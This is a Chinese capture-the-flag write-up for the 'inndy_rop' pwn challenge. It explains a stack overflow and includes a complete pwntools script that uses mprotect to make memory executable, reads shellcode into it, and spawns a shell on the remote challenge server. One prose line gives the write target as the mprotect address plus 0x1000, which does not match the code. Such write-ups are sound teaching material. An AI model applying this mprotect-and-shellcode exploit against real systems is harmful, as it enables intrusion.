inndy_rop(栈溢出)

inndy_rop(栈溢出)

我们先checksec一下:

1

没有开启canary保护,所以八成是栈溢出的题目,拖入IDA中,下面是主函数:

2

这里好像是没有办法反编译的,我的IDA不行,这里看到了nop指令,nop指令就是啥都不干的意思,可以直接跳过,我们看到了call

overflow 这条指令,我们去这个函数里面去看看:

3

没问题了,是栈溢出,这是一个静态编译的文件,我们可以利用mprotect()函数(静态编译一定存在)对某个地址的权限进行修改,将其修改为可读可写可执行,下面我们看看mprotect()函数的用法:

4

需要注意的是,参数addr必须是4kb的整数倍,也就是0x1000(4096=0x1000)字节的整数倍,size的大小也得是0x1000的整数倍,想要可读可写可执行,prot传入7就可以了,接下来我们可以找找要更改的地址:

6

我们选择0x80e9000这个地址,刚好是0x1000的整数倍,第二个参数我们设置成0x2000,把这个段写满:

1
2
3
4
5
6
mprotect_address = 0x806DDA0
gai_address = 0x80e9000

payload = b"A"*(0xc+0x4) + p32(mprotect_address) + p32(main_address) + p32(gai_address) + p32(0x2000) + p32(0x7)

sh.sendline(payload)

这样的话,这个段就具有可读,可写,可执行的权限了并且返回到了main函数,接下来我们利用read函数,向0x806DDA0+0x1000地址写入shellcode,然后跳转到0x806DDA0+0x1000地址,最后脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.log_level = 'debug'
sh = remote("node5.buuoj.cn",26356)

#sh = process('./rop')
#gdb.attach(sh)

elf = ELF("./rop")
main_address = elf.symbols["main"]
read_address = 0x806d290

mprotect_address = 0x806DDA0
gai_address = 0x80e9000

payload = b"A"*(0xc+0x4) + p32(mprotect_address) + p32(main_address) + p32(gai_address) + p32(0x2000) + p32(0x7)
sh.sendline(payload)


shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload = b"A"*(0xc+0x4) + p32(read_address) + p32(gai_address+0x1000) + p32(0) + p32(gai_address+0x1000) + p32(len(shellcode))

sh.sendline(payload)

sh.sendline(shellcode)

sh.interactive()